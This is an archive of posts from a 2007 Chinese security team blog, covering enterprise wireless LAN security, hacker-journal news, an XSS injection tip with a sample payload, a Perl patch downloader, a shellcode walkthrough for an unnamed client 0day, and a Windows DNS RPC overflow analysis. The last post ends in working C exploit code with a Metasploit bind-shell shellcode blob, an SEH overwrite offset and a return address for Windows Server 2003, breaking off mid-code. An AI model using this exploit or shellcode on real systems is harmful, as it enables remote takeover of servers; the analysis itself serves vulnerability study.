2007年5月27日星期日

[Paper]企业无线局域网安全


Team: PST(www.ph4nt0m.org)
Author:云舒(wustyunshu@hotmail.com)
Date: 2007-05-28


一、 前言以及版权

网络本来是安全的,自从出现了研究网络安全的人之后,网络就越来越不安全了。希望更多的文章是用来防御,分析,而不是纯粹的攻击。本文可以任意转载,但必须保证完整性,且不得私自用于商业用途。


这个文章本来是06年夏天就应该贴出来的,可是后来写了70%的时候忙别的事情搞忘记了,没有继续写下去。这个周末突然记起无线局域网安全的事情,吓一大跳。翻遍了硬盘也没找到原稿,迫不得已之下,下午花一下午时间重新写出来,重写的肯定不可能和去年写的一样了,这是让
我非常郁闷的事情。


二、 无线局域网安全的演变

无线网络在安全性方面,先天就比有线网络脆弱——虽然有线网络也存在很多安全问题。这是因为无线信号以空气为介质,直接向四面八方广播,任何人都可以很方便的捕获到所传输的信息,或者说被信息捕获到。而有线网络具有比较密闭的载体——网线,虽然网线也不是很硬,但是起码我没见过有人通过剪断网线来截取资料。

经过多年的努力,无线网络的安全性逐渐发展,具备了不亚于有线网络的安全性,下面将逐步介绍。需要注意的是,这里说的安全性,是指网络协议本身的安全性,而不涉及到具体的操作系统和具体的应用。因为对于具体的系统和应用来说,协议层的安全是基础,系统以及应用安全处于更上层。对于任何载体来说都是一样的,与载体无关。


1. 无安全措施

初的无线网络,还没有采取任何的保密措施,一个无线网络就相当于一个公共的广场,任何人都可以直接进入。这是由它的使用领域决定的,当时无线网络主要用来进行条形码扫描等等,只需要考虑灵活方便,不去关注安全问题。

随着使用范围越来越广,一些比较敏感的信息需要通过无线网络传输,IEEE开始制定了初步的安全协议,防止信息被恶意攻击者轻易截获。


2. WEP保护

WEP是无线网络最开始使用的安全协议,即有线等效协议,全称为Wire Equal Protocol,是所有经过Wi-Fi认证的无线局域网所支持的一项标准功能。

WEP提供基本的安全性保证,防止有意的窃听, 它使用一套基于40位共享加密密钥的RC4对称加密算法对网络中所有通过无线传送的数据进行加密,密钥直接部署在AP和客户端,不需要公开传输,从而对网络提供基本的传输加密。现在也支持128位的静态密钥,对传输加密的强度进行了增强。

WEP也提供基本的认证功能,当加密机制功能启用后,客户端尝试连接上AP时,AP会发出一个Challenge Packet给客户端,客户端再利用预先保存的共享密钥将此值加密后送回AP以进行认证比对,如果与AP自己进行加密后的数据一致,则该终端获准联入网络,存取网络资源。

WEP协议存在非常多的缺陷,主要表现在密钥管理,传输安全等方面。首先,终端密钥必须和AP密钥相同,并且需要在多台终端上部署,用来进行基本的认证和加密。密钥没有统一管理部署的能力,更换密钥时需要手动更新AP和所有的终端,成本极大。倘若一个用户丢失密钥,就会殃及到整个网络的安全性。

其次,在数据传输方面,RC4加密算法存在很多缺陷,攻击者收集到足够多的密文数据包后,就可以对它们进行分析,只须很少的尝试就可以计算出密钥,接入到网络之中。常见的网络嗅探工具,比如WireShark就具有捕获无线网络数据的能力,破解WEP算法的工具也非常常见,比较著名的就是Aircrack,包含在Auditor Security Collection LIVE CD工具盘中。此工具盘中包含有Kismet、Airodump、Void11、Aireplay 和Aircrack等多个工具,是一套完整的攻击工具。

最后,WEP中的数据完整性检验算法也不够强壮,WEP ICV是一种基于CRC-32的用于检测传输噪音和普通错误的算法。CRC-32是信息的线性函数,攻击者篡改加密信息后,可以很容易地修改ICV,通过解密端的检验。

只是一种基本的认证和传输加密协议,不适合在企业级环境中使用,现在一般使用在不注重安全性,且终端数目少的家庭网络中。


3. WPA保护

WPA(Wi-Fi Protected Access)技术是IEEE在2003年正式提出并推行的一项无线局域网安全技术,其目的是代替WEP协议,成为一个可提供企业级安全的无线网络认证传输协议。WPA是IEEE802.11i的子集,是在802.11i实施之前的一个临时过渡协议,其核心就是IEEE 802.1x和TKIP。其中802.1x是基于端口的认证协议,TKIP则提供高安全级别的传输加密和完整性检测功能,组成一个完整的解决方案。


1) 802.1x认证控制技术

802.1x协议是由IEEE定义的,用于以太网和无线局域网中的端口访问与控制。该协议定义了认证和授权,引入了PPP协议定义的扩展认证协议EAP。EAP(扩展认证协议)本身不提供认证功能,而是提供一个可扩展的基本认证框架,各公司可以在此框架的基础之上发展出各种各样的认证协议。比如EAP-TLS,PEAP,TTLS,LEAP,EAP-MD5等各种认证协议,这些协议主要由微软,思科,3com等公司提出并实现。

在使用802.1x端口控制技术的无线网络中,当无线工作站与无线访问点AP关联后,是否可以使用AP的服务要取决于802.1x的认证结果。认证通过上述的各种扩展认证协议进行,如果认证通过,则AP为无线工作站打开这个逻辑端口,否则不允许用户上网。

802.1x提供一种灵活可信的认证控制技术,可以使用各种扩展认证协议,包括证书和动态口令在内,因此是一种可以信赖的认证方法。


2) TKIP加密协议

WPA采用TKIP(Temporal Key Integrity Protocol)为加密引入了新的机制,在用户连接到AP,认证服务器接受了用户身份之后,使用802.1x产生一个唯一的主密钥处理会话。然后,TKIP把这个密钥通过安全通道分发到AP和此用户的客户端,并建立起一个密钥构架和管理系统,使用主密钥为用户会话动态产生一个唯一的数据加密密钥,来加密每一个无线通讯数据报文。TKIP的密钥构架使WEP静态单一的密钥变成了500万亿个可用密钥。由于使用了动态密钥来进行传输加密,且密钥长度有了增强,因此TKIP加密传输几乎不可能被破解。

在消息完整性检测方面,TKIP除了和WEP一样继续保留对每个数据分段进行CRC校验外,还为每个数据分组都增加了一个8个字节的消息完整性校验值。这和WEP对每个数据分段进行ICV校验的目的不同:ICV的目的是为了保证数据在传输途中不会因为噪声等物理因素导致报文出错,因此采用相对简单高效的CRC算法,但是攻击者可以通过修改ICV值来使之和被篡改过的报文相吻合,可以说没有任何安全的功能。而TKIP则是为了防止黑客的篡改而定制的,它采用Michael算法,具有很高的安全特性。当MIC发生错误的时候, WPA会采取一系列的对策,比如立刻更换密钥、暂停活动等,来阻止攻击。

WAP协议在认证和传输,以及完整性检测方面,达到了很高的安全级别,满足了普通企业的需求。同时,802.1x认证技术,认证数据可以方便的统一管理,降低了部署难度。因此WPA适合于一般的企业级应用。


4. IEEE 802.11i保护以及WAPI

802.11i是IEEE最新的无线网络安全协议,包含802.1x认证技术,TKIP和AES(Advanced Encryption Standard)加密技术。而WAPI则由中国提出,采用公开密钥密码体制,利用证书来对无线局域网中的终端和AP进行认证。对这两种最新的协议我并没有完全理解,就不多说了,可以参考《解析新一代WLAN安全技术IEEE 802.11i、WPA和WAPI》一文。


5. 其他安全技术

这里的其他安全技术主要是指SSID,MAC地址过滤等技术,这些技术由于不适合企业级应用,并且安全性不高,理解容易,这里就不多提了。


三、 加强的安全与实例

从目前的各种技术的成熟角度,以及安全性来考虑,WPA是最好的选择,使用802.1x进行身份认证,使用TKIP来加密传输,检测完整性。但是对于更高的安全需求,就需要使用一些综合的技术方法,来达到独特的目的。

目前来说,对于认证,最安全的方法是使用一次性口令,通过不变的key加上每分钟改变一次的随机的硬件token作为密码,可以达到防御任何监听,破解,记录密码的攻击方法。802.1x使用了EAP扩展认证协议,因此也支持动态口令认证技术,许多公司都有自己的实现。

对于数据的传输,TKIP虽然大幅提高了安全性,但是仍然只是对数据的加密,达不到一个安全的可信通道的要求。目前来说,VPN是这方面的最好选择。

因此,我认为在需要高安全级别的无线网络的环境中,使用动态口令认证,加上VPN安全通道传输是一个比较好的解决方案。在网络中不是一台RADIUS服务器,用来提供802.1x身份认证功能。在AP的后端,所有无线连接终结到一台VPN设备。

当用户连接到AP时,不需要任何的身份认证,但是由于隔离技术,用户是无法访问或者攻击到此AP上的其他用户的。要访问网络资源,必须手动连接VPN服务器,此时进行动态口令的认证。认证成功,则打开逻辑端口,允许访问。


四、 总结

本文就到此结束了,主要是介绍了一下我对企业级无线网络安全的理解。这里的安全是网络协议的安全,只是防范未授权用户对无线网络的攻击。对于来自无线网络内部的攻击,则属于系统安全和应用安全的范围,不是无线网络的安全协议解决的范畴之内。


最后还是希望网络越来越安全吧,这样我上班也可以轻松一点。

2007年5月26日星期六

[News]Phrack 64 Out!

by axis
2007-05-27
http://www.ph4nt0m.org

久违的phrack杂志又回来了,在FD上发表了第64期。phrack 63之后,迫于美国政府的压力phrack杂志被迫关门,现在,似乎换了个地方重生了。
http://phrack.org (如果不能访问则直接访问http://200.199.20.162/)

看到intro中的这段话,非常激动啊:

No, nothing is or was ever lost. Things change, security becomes a business, some hackers sell exploits, others post for fame, but Phrack is here, totally free, for the community. No business, no industry, no honey, baby. Only FREEDOM and KNOWLEDGE.

这也正是幻影提倡的精神!

No, Phrack is not dead. And will never die.
Long live to PHRACK.

向phrack致敬!

2007年5月24日星期四

[Tips]Do not Echo into Javascript

by jno[jno_0x71@yahoo.com.cn]
date: 2007-05-25
http://www.ph4nt0m.org

<?php
function htmlencode($str)
{
    
$str = htmlspecialchars($str);
    
$str = preg_replace("/\'/i", "'", $str);
    
return $str;
}

$str = htmlencode($_GET['str']);
?>
<div style="width: 200px; height: 200px; background-color: #ccc;" 
onmouseover
="javascript: alert('<?php echo $str;?>')" />

如果你习惯用上面的方式写代码,把用户输入输出到客户端作为javascript的一部分,那么就有问题了,即使你有编码用户输入的习惯也无济于事,因为用户输入可以使用引号来闭合javascript的字符串变量,然后加入他自己的恶意代码:

http://localhost/vul_code.php?str=aaa');alert('bbb

你这时可能还有点疑问,我htmlencode了,单双引号也被转义成&quot;和&#39;了,怎么还可能突破呢?事实上htmlencode了的内容作为html元素的属性里的脚本时,是被按照它的原意来执行的,你可以试试这个例子就明白了:

<input type="button" value="双引号" 
onclick
="javascript: alert(&quot;双引号& quot;);" />
<input type="button" value="单引号" 
onclick
="javascript: alert('单引号');" />

那么,怎么样解决这样的问题,一个办法就是再对字符串进行javascript转义,把单双引号分别转义成\"和\',避免利用这两个符号突破,但是要转义全了还是需要做点文章,因为单双引号的变形形式还是很多样的,比如:

双引号:&quot; &#34; &#x22; &#0034; &#000034; &#00000034; ...
单引号:&#39; &#x27; &#0039; &#000039; ...

难免会有疏漏,所以这样做不太好,如果有疏漏过滤就会被突破。另外有一种思路来解决这个问题就是避免这样的写法,为什么非要从服务器端输出到javascript里呢,我们很容易可以用其他办法实现相同的效果,又更加安全:

<?php
function htmlencode($str)
{
    
$str = htmlspecialchars($str);
    
$str = preg_replace("/\'/i", "'", $str);
    
return $str;
}

$str = htmlencode($_GET['str']);
?>
<div style="width: 200px; height: 200px; background-color: #ccc;" 
onmouseover
="javascript: alert(this.getAttribute('server_data'))" 
server_data
="<?php echo $str;?>"/>

把数据输出到一个属性里,这里的server_data就是我们开辟的一个服务器数据岛,因为是输出到普通的属性里面,所以htmlencode就可以保证它没法突破这个双引号,那么这个数据岛就是安全的,脚本需要数据的话,就通过dom的方式从安全的服务器数据岛取得数据。

所以,说了这么多,就是表达一个意思,避免输出到javascript里面,当然其他script也不行。

[Tips]用perl来处理mbsa的结果

Author: 云舒@ph4nt0m
Date: 2007-05-14
http://www.ph4nt0m.org

相信很多人和我遇到一样的问题,那就是windows自动升级时,svchost进程占用了100%的CPU导致什么都做不了了,不升级吧,那显然是不行的。但是自己手动下载补丁安装,就不会消耗cpu资源了,但是这样操作起来太麻烦,我就写了这样一个perl脚本老进行自动执行。首先使用mbsa扫描系统,找到没有安装的补丁,然后使用perl对扫描报告进行分析,自动下载补丁保存到本地来。

微软比较不厚道的是,把扫描报告藏起来了,我的winxp系统,mbsa2.1版本,扫描结果在这里:C:\Documents and Settings\Administrator\SecurityScans,文件其实都是普通的xml文件,只是扩展名被改为mbsa了,文件里面的 DownloadURL就是我们需要的。

perl脚本如下,主要就是解析XML文档,再使用lwp来下载,很简单,我就不注释了:
代码:

# 2007年5月14日下午,闷热无聊的周一,by 云舒

use warnings;
use strict;
use LWP::Simple;
use XML::Simple;
use XML::Parser;

# 这里都定义死了,因为是我自己用啊,呵呵
my $scan_reports = "hotfix.xml";
my $directory = "F:\hotfix\";

my $flag = "DownloadURL";

my $tag;
my @urls;

# 去掉字符串前后的空白字符
sub Trim
{
        
my $string = shift;

        
$string =~ s/^\s+//;
        
$string =~ s/\s+$//;
        
        
return $string;
}

print "Code by yunshu,used to download hotfix from microsoft.\n\n";

my $parser = new XML::Parser(ErrorContext => 2);

$parser->setHandlers( Start => \&startElement, End => \&endElement, Char => \&characterData, Default => \&default );

$parser->parsefile( $scan_reports );

foreach my $url ( @urls )
{
    
my @fields = split'/', $url );
    
my $count = @fields;
    
my $file_name = $fields$count - 1 ];
    
    
my $full_path = $directory.$file_name;
    
if( not -$full_path )
    {
        
print "Try to download $url\n";
        getstore( 
$url, $full_path );
    }
    
else
    {
        
print "$full_path is exists,test next.\n";
    }
}

sub startElement
{
    
my$parseinst, $element, %attrs ) = @_;

    
if ($element eq "DownloadURL")
    {
        
$tag = "DownloadURL";
    }
    
else
    {
        
$tag = "defalut";
    }
}

sub endElement
{
    
my$parseinst, $element ) = @_;
}

sub characterData
{
    
my$parseinst, $data ) = @_;

    
if$tag eq $flag )
    {
        
chomp$data );
        
        
my $url = Trim($data);
        
        
if$url ne "" )
        {
            
push@urls, $url );
        }
    }
}

sub default
{
    
my ( $parseinst, $data ) = @_;
}


[Tips]这个SheUcode比较有意思

Author: czy@ph4nt0m
Date: 2007-05-14
http://www.ph4nt0m.org







这个SheUcode比较有意思,某客户端程序0day,溢出发生时

EAX=00000000 EBX=00000000 ECX=00000006 EDX=7C92EB94 ESI=00000001
EDI=001362B0 ESP=001E0061 ESP=00136110 EIP=7FFA5564 o d I s Z a P c
CS=001B DS=0023 SS=0023 ES=0023 FS=003B GS=0000


看似比较简单的栈溢出,程序也没有/GS,但是字符串长度限制为100个字节(不能覆盖SEH),而且字符串会部分转化为UniCode格式,通过分析溢出发生时可以用转化后的字符串覆盖函数返回地址,同时EDI刚好指向转化后的字符串开头.在简中系统下代码页刚好有个JMP EDI(6455FA7F)而6455FA7F的ANSI编码为C6A1C24F.OK跳转地址搞定,来看看SHELLCODE怎么写了,由于这个漏洞非常特殊,字符串是部分转化,而且长度只有100个字节,所以只能想办法在这100个字节中用小SHELLCODE找大SHELLCODE了.经过测试发现XP SP2下,SEHLLCODE中的异常处理代码不能在栈中,所以还得想法把代码移到堆中.下面是我的办法:先看第四部分.

第一部分:

:00136193 5E pop esi ;因为是CALL跳过来的,POP后ESI变为001361BC,esp+4=0013610C
:00136194 5E pop esi ;esi变为001361D5也就是异常处理指令的地址
:00136195 55 push ebp ;通过分析漏洞,溢出发生时EBP的值为是跳转地址前面的四字节(UNICODE格式)
:00136196 5F pop edi ;EDI变为001E0061
:00136197 A5 movsd
:00136198 A5 movsd
:00136199 A5 movsd
:0013619A A5 movsd ;把ESI(001361D5)中的代码移到(edi)001e0061中
:0013619B 55 push ebp ;设置新的异常处理函数地址
:0013619C EB1E jmp ↓001361BC ;回到第二部分
:0013619E 61 popad
:0013619F 61 popad
:001361A0 61 popad
:001361A1 61 popad
:001361A2 61 popad
:001361A3 61 popad
:001361A4 61 popad
:001361A5 61 popad
:001361A6 61 popad
:001361A7 61 popad
:001361A8 61 popad
:001361A9 61 popad
:001361AA 1E push ds
:001361AB C6A1C24F 转化前的跳转地址(7FFA5564 JMP EDI)


第二部分:

:001361B0 6481EFDB000000 sub edi,000000DB ;edi为001362B0-db=001361d5,得到第三部分指令的地址
:001361B6 57 push edi ;esp-4=0013610C,edi=001361d5
:001361B7 E8D7FFFFFF call ↑00136193 ;esp-4=00136108,函数功能:把异常处理指令移到堆中
:001361BC 64FF30 push dword ptr fs:[eax] ;在跳过来之前新的异常处理地址已经压栈,现保存原来的
:001361BF 648920 mov dword ptr fs:[eax], esp ;esp也就是异常处理结构的地址比较巧妙
:001361C2 BA41424142 mov edx, 42414241 ;搜索ABAB
:001361C7 BF00001400 mov edi, 00140000 ;起始地址00140000
:001361CC 3B17 cmp edx, dword ptr [edi]
:001361CE 7403 je ↓001361D3
:001361D0 47 inc edi
:001361D1 EBF9 jmp ↑001361CC
:001361D3 57 push edi
:001361D4 C3 ret


第三部分:处理搜索内存异常的代码

:001361D5 8B54240C mov edx, dword ptr [esp+0C]
:001361D9 80C29C add dl, 9C
:001361DC 33C0 xor eax, eax
:001361DE B440 mov ah, 40
:001361E0 0102 add dword ptr [edx], eax
:001361E2 33C0 xor eax, eax
:001361E4 C3 ret


第四部分:程序首先从代码页中的JMP EDI跳到这儿.

:001362B0 57 push edi ;edi为001362B0,push以后ESP变为0013610C
:001362B1 004700 add [edi+00],al ;nop
:001362B4 44 inc esp ;esp变为0013610D
:001362B5 004700 add [edi+00],al ;nop
:001362B8 59 pop ecx ;ecx的值为XX001362,ESP变为00136111
:001362B9 004700 add [edi+00],al ;nop
:001362BC 49 dec ecx ;ecx变为XX001361
:001362BD 004700 add [edi+00],al ;nop
:001362C0 51 push ecx ;ESP变为0013610D
:001362C1 004700 add [edi+00],al ;nop
:001362C4 4C dec esp ;ESP变为0013610C
:001362C5 004700 add [edi+00],al ;nop
:001362C8 C3 ret ;ESP变为溢出发生时的00136110,程序跳001361B0


还没晕吧?纯粹指令技巧,主要是为了让代码是全字母且是UNICODE格式.其实这部分代码等于执行

sub edi,100h
jmp edi


这个漏洞非常奇怪,字符是部分转化,且EDI-100H处是没转化的字符,所以先用上面的这个办法跳到没转化的指令去执行.当然由于字符串长度的限制也没法直接写UNICODE编码的SHELLCODE.
下面请看第二部分的代码.

[News]Uninformed Journal Release Announcement: Volume 7

Uninformed is pleased to announce the release of its seventh volume. This volume includes 3 articles on relating to exploitation technology and general research:

- Exploitation Technology: Reducing the Effective Entropy of GS Cookies Author: skape

- General Research: Memalyze: Dynamic Analysis of Memory Access Behavior in Software
Author: skape

- General Research: Mnemonic Password Formulas
Authors: I)ruid

This volume of the journal can be found at:

http://www.uninformed.org/?v=7

About Uninformed:

Uninformed is a non-commercial technical outlet for research in areas pertaining to security technologies, reverse engineering, and lowlevel programming. The goal, as the name implies, is to act as a medium for informing the uninformed. The research presented in each edition is simply an example of the evolutionary thought that affects all academic and professional disciplines.

- The Uninformed Staff
staff [at] uninformed.org

[News]Security Week in Review(2007-05-08)

by axis
2007-05-08
http://www.ph4nt0m.org

五一黄金周终于结束了,而我也从火星休假完毕,回到了地球。从今天开始,幻影的blog开始恢复更新。

那么这一个礼拜内,安全界又有哪些值得我们关注的新闻呢?这里我简述下我关注的一点东西,一家之言,欢迎大家补充。

漏洞方面:
1. ZDI-07-023: Apple QTJava toQTPointer() Pointer Arithmetic Memory Overwrite Vulnerability

http://www.zerodayinitiative.com/advisories/ZDI-07-023.html
这个漏洞又是和JAVA相关的。

2. PHP新版本 5.5.2/4.4.7 fix MOPB
http://www.php.net/releases/5_2_2.php
http://www.php.net/releases/4_4_7.php

新版本的PHP修补了MOPB中的漏洞

3. WordPress 漏洞若干
具体见milw0rm以及各大安全网站

4. Gimp buffer overflow



paper方面:
1. WinRAR 7z压缩包处理溢出分析和利用(by gyzy)
http://www.neeao.com/blog/article.asp?id=3410

漏洞是老漏洞了,不过这个漏洞利用起来有几个难点,这篇分析写的不错,推荐一下.

2. Windows Vista ISV Security
http://msdn2.microsoft.com/en-us/library/bb430720.aspx

全面介绍windows vista安全特性的文章,强烈推荐仔细阅读。

3. Hacking Web 2.0 - Defending Ajax and Web Services [HITB 2007 Dubai]
http://www.slideshare.net/shreeraj/hacking-web-20-defending-ajax-and-web-services-hitb-2007-dubai

很不错的一篇关于web2.0安全的ppt,值得好好看看


4. Debugging Application Security Vulnerabilities in Web.config Files
http://www.securitypark.co.uk/article.asp?articleid=26905&CategoryID=1



5. 云舒放出了dns vuln scanner的win版本代码
http://www.icylife.net/yunshu/show.php?id=419

再FUCK微软一下。

6. 最近zzzevazzz和大成天下有一场别开生面的关于文件保护软件的讨论,有兴趣的可以好好看看eva和wlj的blog。

顶eva一下 :)


八卦方面:
1. Digg This: 09-f9-11-02-9d-74-e3-5b-d8-41-56-c5-63-56-88-c0

最近沸沸扬扬的关于破解了HD-DVD,结果被封杀的新闻,digg最后在广大用户前让步了。


2. 听说www.neeao.com被黑了,并不曾亲见,八卦一下,纯属娱乐。

3. 云舒这个MJJ的QQ居然被盗了,真是常在网上飞,哪能不被黑!直接损失就是幻影exploit研究院的若干private exp和0day可能泄露,这个MJJ的!! >_<



幻影处在转型的重要时期,如果幻影对大家有过帮助,请看在一点香火情分上,在自己的blog或小站上加上幻影blog和邮件列表的链接,这样有助于提高我们的人气和影响力,纯属自愿,谢谢!

幻影的blog: http://blog.ph4nt0m.org
邮件列表: http://list.ph4nt0m.org

[Exploit]DNS RPC 分析

Author: 云舒
Date: 2007-04-27
http://www.ph4nt0m.org

根据安全公告的漏洞描述,漏洞发生在dns.exe程序中的DnssrvQuery函数,这个函数是一个RPC函数,允许客户端进行远程调用。先用IDA对

dns.exe进行静态的反汇编分析,找到如下调用关系:

找到地址010154EC处,看到代码如下:

.text:010154EC                 cmp     cl, 5Ch            ; is '\'?
.text:010154EF                 jnz     short loc_1015484    ; Next Char
.text:010154F1                 push    [ebp+arg_4]
.text:010154F4                 push    edi
.text:010154F5                 push    ebx
.text:010154F6                 call    _extractQuotedChar@12 ; extractQuotedChar(x,x,x)
.text:010154FB                 mov     edi, eax
.text:010154FD                 mov     eax, [ebp+arg_0]
.text:01015500                 inc     ebx
.text:01015501                 jmp     short loc_1015484 



其实这些对我来说关系不大,看了漏洞描述就成。我需要的是找到这个地址0x010154EC好进行动态调试。加载dns.exe,在010154EC处下断点,发送这样的字符,可以看见栈内存被覆盖。我在Windows Server 2003 Standard Chinese SP1上进行的调试,开始覆盖的起始内存地址为0x0138F6AF处。因为有stack cookie,所以选择覆盖SEH地址。

看看栈里面,发现最近的SEH地址为0x0138FD10,距离覆盖开始的距离为1633字节。一直加大字节数,最终会覆盖到分页未映射的内存区域,触发异常,接管程序流程。测试之后发现esp+12是在我们的覆盖范围之内,这样就是需要找一个pop/pop/ret的转跳地址。经过分析,在 windows server 2003 Standard sp1中文版上面,需要的地址为0x769C1A61(这个地址不错,这里可以连续pop三次再ret,不过我们只需要两次pop)。由于需要在字符前面加上'\'绕过长度检测,因此,覆盖到SEH的长度为1633 * 2 字节。覆盖到SEH pop/pop/ret之后,程序会跳到SEH的前面,这就又需要往高址转跳6个字节,EB 06就可以了。

最终在内存中的数据示意图如下:

内存低址                                                                    内存高址
NOP NOP NOP NOP NOP
. . . .EB 06 NOP NOP pop/pop/ret shellcode NOP NOP NOP. . . .



执行顺序为触发异常,接管执行pop/pop/ret,执行到eb 06,再执行到shellcode,收工。

针对上述分析,我写了一个测试性质的攻击程序,不具备危害性,经过测试,这些分析正确,攻击代码见后。(编译这段代码很麻烦的,嘿嘿,先要 midl编译idl文件,然后再编译这段CPP代码)这段代码纯粹是为了演示和分析用,对公司内部的讲座,如果被人修改了进行攻击,偶不管……其实修改这个EXP很容易……—_—!


/*
DNS_RPC

by 云舒
http://www.ph4nt0m.org

Windows Server 2003 Standard Chinese SP1

开始覆盖        0138F6AF
SEH             0138FD10
未映射内存区域    01390000

1633字节 + 4字节的POP/RET 刚好覆盖到SEH,执行到0138F380

769C1A61    Windows Server 2003 Standard CN SP1

加大字节覆盖到未映射内存区域,引发异常接管。

需要注意的是,要在有效字符之前插入反斜杠,所以长度翻倍。我这里的做法是先忽略反斜杠因素,构造好整个缓冲区,然后再插入反斜杠。个人觉得我的代码还是比较清晰的,起码比MilW0rm上面的简洁明了。
*/

#include 
<winsock2.h>
#include 
<windows.h>
#include 
<stdio.h>
#include 
<Rpc.h>
#include 
"dnsxpl.h"

#pragma comment( lib, 
"ws2_32.lib" )
#pragma comment( lib, 
"Rpcrt4.lib" )

#define    OBJ_UUID    "50abc2a4-574d-40b3-9d66-ee4fd5fba076"
#define    PRO_SEQ        "ncacn_ip_tcp"

/* win32_bind -  EXITFUNC=seh LPORT=99 Size=344 Encoder=PexFnstenvSub http://metasploit.com */
unsigned 
char shell[] =
"\x2b\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xfa"
"\xac\x69\x80\x83\xeb\xfc\xe2\xf4\x06\xc6\x82\xcd\x12\x55\x96\x7f"
"\x05\xcc\xe2\xec\xde\x88\xe2\xc5\xc6\x27\x15\x85\x82\xad\x86\x0b"
"\xb5\xb4\xe2\xdf\xda\xad\x82\xc9\x71\x98\xe2\x81\x14\x9d\xa9\x19"
"\x56\x28\xa9\xf4\xfd\x6d\xa3\x8d\xfb\x6e\x82\x74\xc1\xf8\x4d\xa8"
"\x8f\x49\xe2\xdf\xde\xad\x82\xe6\x71\xa0\x22\x0b\xa5\xb0\x68\x6b"
"\xf9\x80\xe2\x09\x96\x88\x75\xe1\x39\x9d\xb2\xe4\x71\xef\x59\x0b"
"\xba\xa0\xe2\xf0\xe6\x01\xe2\xc0\xf2\xf2\x01\x0e\xb4\xa2\x85\xd0"
"\x05\x7a\x0f\xd3\x9c\xc4\x5a\xb2\x92\xdb\x1a\xb2\xa5\xf8\x96\x50"
"\x92\x67\x84\x7c\xc1\xfc\x96\x56\xa5\x25\x8c\xe6\x7b\x41\x61\x82"
"\xaf\xc6\x6b\x7f\x2a\xc4\xb0\x89\x0f\x01\x3e\x7f\x2c\xff\x3a\xd3"
"\xa9\xff\x2a\xd3\xb9\xff\x96\x50\x9c\xc4\x69\xe3\x9c\xff\xe0\x61"
"\x6f\xc4\xcd\x9a\x8a\x6b\x3e\x7f\x2c\xc6\x79\xd1\xaf\x53\xb9\xe8"
"\x5e\x01\x47\x69\xad\x53\xbf\xd3\xaf\x53\xb9\xe8\x1f\xe5\xef\xc9"
"\xad\x53\xbf\xd0\xae\xf8\x3c\x7f\x2a\x3f\x01\x67\x83\x6a\x10\xd7"
"\x05\x7a\x3c\x7f\x2a\xca\x03\xe4\x9c\xc4\x0a\xed\x73\x49\x03\xd0"
"\xa3\x85\xa5\x09\x1d\xc6\x2d\x09\x18\x9d\xa9\x73\x50\x52\x2b\xad"
"\x04\xee\x45\x13\x77\xd6\x51\x2b\x51\x07\x01\xf2\x04\x1f\x7f\x7f"
"\x8f\xe8\x96\x56\xa1\xfb\x3b\xd1\xab\xfd\x03\x81\xab\xfd\x3c\xd1"
"\x05\x7c\x01\x2d\x23\xa9\xa7\xd3\x05\x7a\x03\x7f\x05\x9b\x96\x50"
"\x71\xfb\x95\x03\x3e\xc8\x96\x56\xa8\x53\xb9\xe8\x0a\x26\x6d\xdf"
"\xa9\x53\xbf\x7f\x2a\xac\x69\x80";

void __RPC_FAR * __RPC_USER midl_user_allocate(size_t len){ return(malloc(len)); }
void __RPC_USER midl_user_free(void __RPC_FAR * ptr){ free(ptr); }

void    Usage( char *ProgramName );
void    Exploit( char *Host, char * RpcPort );

int main( int argc, char *argv[] )
{
    WSAData        Wsa;

    
char        Host[20= { 0 };    // 目标主机,网络字节顺序
    char        RpcPort[8= { 0 };            // 目标机器RPC高端口
    
    
// 初始化网络库
    if( WSAStartup(0x0202&Wsa) != 0 )
    {
        printf( 
"[-] WSAStartup failed with error: %d\n" , GetLastError() );
        
return -1;
    }

    
if( argc != 3 )
    {
        Usage( argv[
0] );
        
return -1;
    }

    strncpy( Host, argv[
1], sizeof(Host) -1 );
    strncpy( RpcPort, argv[
2], sizeof(RpcPort) - 1 );
    
    
if( atoi(RpcPort) <= 1024 )
    {
        Usage( argv[
0] );
        
return -1;
    }

    Exploit( Host, RpcPort );

    
return 1;
}

// 显示帮助
void Usage( char *ProgramName )
{
    printf( 
"Usage: %s  <TargetIP>  <RpcPort>\n", ProgramName );
}

void Exploit( char *Host, char *RpcPort )
{
    unsigned 
char    *StringBinding = NULL;
    unsigned 
char    *Options = NULL;

    RPC_STATUS Status 
= RpcStringBindingComposeA( (unsigned char *)OBJ_UUID,
                                                    (unsigned 
char *)PRO_SEQ,
                                                    (unsigned 
char *)Host,
                                                    (unsigned 
char *)RpcPort,
                                                    Options,
                                                    
&StringBinding );

    
if( RPC_S_OK != Status )
    {
        printf( 
"[-] RpcStringBindingCompose failed, exit!\n" );
        exit(
-1);
    }
    printf( 
"[+] Connect to %s successful!\n", StringBinding );

    
//RPC_BINDING_HANDLE    Dns;

    Status 
= RpcBindingFromStringBindingA( (unsigned char *)StringBinding, &dns );
    
if( RPC_S_OK != Status )
    {
        printf( 
"[-] RpcBindingFromStringBinding failed, exit!\n" );
        exit(
-1);
    }
    printf( 
"[+] RpcBindingFromStringBinding successful!\n" );

    wchar_t    
* ArguA = L"ph4nt0myunshu";

    
int    BuffSize = 4000;

    unsigned 
char    * TmpBuff = (unsigned char *)malloc( BuffSize );

    
// 填充缓冲区
    memset( (void *)TmpBuff, '\x90', BuffSize );
    
    
// 加入Pop/Pop/Ret转跳地址,覆盖SEH
    int    PopRet = 1633;
    memset( (
void *)(TmpBuff + PopRet), '\x60'1 );
    memset( (
void *)(TmpBuff + PopRet + 1), '\x1A'1 );
    memset( (
void *)(TmpBuff + PopRet + 2), '\x9C'1 );
    memset( (
void *)(TmpBuff + PopRet + 3), '\x76'1 );

    
// 加入二次转跳命令,往高址跳6字节,跳到seh的高址,执行
    memset( (void *)(TmpBuff + PopRet - 4), '\xEB'1 );
    memset( (
void *)(TmpBuff + PopRet - 3), '\x06'1 );

    
// shellcode字符数组后面会有一个\x00,所以需要sizeof-1
    memcpy( (void *)(TmpBuff + PopRet + 4), (void *)shell, sizeof(shell) - 1 );

    
/*
    内存低址                                                    内存高址
    NOP NOP NOP NOP NOP NOP NOP   eb 06 90 90 pop/pop/ret  shellcode NOP NOP NOP
    
*/
    
    
// 插入反斜杠,转换为"\x5c\x90\x5c\x90\x5c\x90..\x5c\xeb\x5c\x06"格式
    unsigned char    * ArguB = (unsigned char *)malloc( BuffSize * 2 + 4 );
    memset( (
void *)ArguB, '\', BuffSize * 2 + 4 );

    
forint index = 0; index < BuffSize; index ++ )
    {
        ArguB[index 
* 2 + 1= TmpBuff[index];
    }

    ArguB[BuffSize 
* 2 + 4 -1= '';

